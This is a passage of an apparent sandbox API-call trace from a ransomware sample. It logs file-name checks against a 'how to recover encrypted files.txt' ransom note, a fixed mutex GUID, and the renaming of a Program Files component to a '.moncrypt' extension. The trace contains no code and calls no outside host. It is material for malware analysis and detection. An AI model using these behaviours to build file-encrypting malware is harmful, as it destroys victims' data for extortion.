lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.205] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.205] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0057.205] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.205] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.205] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.205] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.205] GlobalUnlock (hMem=0x44000c) returned 0 [0057.205] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.205] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.205] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.205] GlobalUnlock (hMem=0x44000c) returned 0 [0057.205] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.205] GlobalUnlock (hMem=0x440004) returned 0 [0057.206] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.206] CharLowerBuffW (in: lpsz="OmdProject.dll", cchLength=0xe | out: lpsz="omdproject.dll") returned 0xe [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="j", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="jô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.206] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.206] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.206] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dlll", lpUsedDefaultChar=0x0) returned 4 [0057.206] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.206] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.206] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.206] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.206] GlobalUnlock (hMem=0x440004) returned 0 [0057.206] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.206] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.206] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.206] GlobalUnlock (hMem=0x440004) returned 0 [0057.206] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.207] GlobalUnlock (hMem=0x44000c) returned 0 [0057.207] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.207] CharLowerBuffW (in: lpsz="Pipeline.dll", cchLength=0xc | out: lpsz="pipeline.dll") returned 0xc [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.207] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.207] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0057.207] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.207] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.207] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.207] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.207] GlobalUnlock (hMem=0x44000c) returned 0 [0057.207] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.208] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.208] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.208] GlobalUnlock (hMem=0x44000c) returned 0 [0057.208] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.208] GlobalUnlock (hMem=0x440004) returned 0 [0057.208] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.208] CharLowerBuffW (in: lpsz="PipeTran.dll", cchLength=0xc | out: lpsz="pipetran.dll") returned 0xc [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.208] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.208] CharLowerBuffW (in: lpsz=".dll", cchLength=0x4 | out: lpsz=".dll") returned 0x4 [0057.208] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".dll", cchWideChar=4, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".dllw", lpUsedDefaultChar=0x0) returned 4 [0057.208] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.208] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.208] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.208] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.208] GlobalUnlock (hMem=0x440004) returned 0 [0057.209] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.209] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.209] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.209] GlobalUnlock (hMem=0x440004) returned 0 [0057.209] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.209] GlobalUnlock (hMem=0x44000c) returned 0 [0057.209] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.209] CharLowerBuffW (in: lpsz="rtstreamsink.ax", cchLength=0xf | out: lpsz="rtstreamsink.ax") returned 0xf [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18e3dc, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rô\x18", lpUsedDefaultChar=0x0) returned 1 [0057.209] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18e3e4, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt\x18\x06") returned 34 [0057.209] CharLowerBuffW (in: lpsz=".ax", cchLength=0x3 | out: lpsz=".ax") returned 0x3 [0057.209] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".ax", cchWideChar=3, lpMultiByteStr=0x18e3e4, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ax", lpUsedDefaultChar=0x0) returned 3 [0057.209] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax", lpFindFileData=0x18f184 | out: lpFindFileData=0x18f184*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0eb1404, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtstreamsink.ax", cAlternateFileName="")) returned 0x54e1c0 [0057.210] FileTimeToLocalFileTime (in: lpFileTime=0x18f198, lpLocalFileTime=0x18f0b0 | out: lpLocalFileTime=0x18f0b0) returned 1 [0057.210] FileTimeToDosDateTime (in: lpFileTime=0x18f0b0, lpFatDate=0x18f166, lpFatTime=0x18f164 | out: lpFatDate=0x18f166, lpFatTime=0x18f164) returned 1 [0057.210] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.210] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax", dwFileAttributes=0x20) returned 0 [0057.211] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18e0c0, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.211] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax"), lpNewFileName="C:\\Program Files\\DVD Maker\\rtstreamsink.ax.moncrypt" (normalized: "c:\\program files\\dvd maker\\rtstreamsink.ax.moncrypt")) returned 0 [0057.211] FileTimeToLocalFileTime (in: lpFileTime=0x18f538, lpLocalFileTime=0x18f444 | out: lpLocalFileTime=0x18f444) returned 1 [0057.211] FileTimeToDosDateTime (in: lpFileTime=0x18f444, lpFatDate=0x18f506, lpFatTime=0x18f504 | out: lpFatDate=0x18f506, lpFatTime=0x18f504) returned 1 [0057.211] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.211] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.211] GlobalUnlock (hMem=0x44000c) returned 0 [0057.211] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.211] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.211] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.211] GlobalUnlock (hMem=0x44000c) returned 0 [0057.211] GlobalHandle (pMem=0x555b78) returned 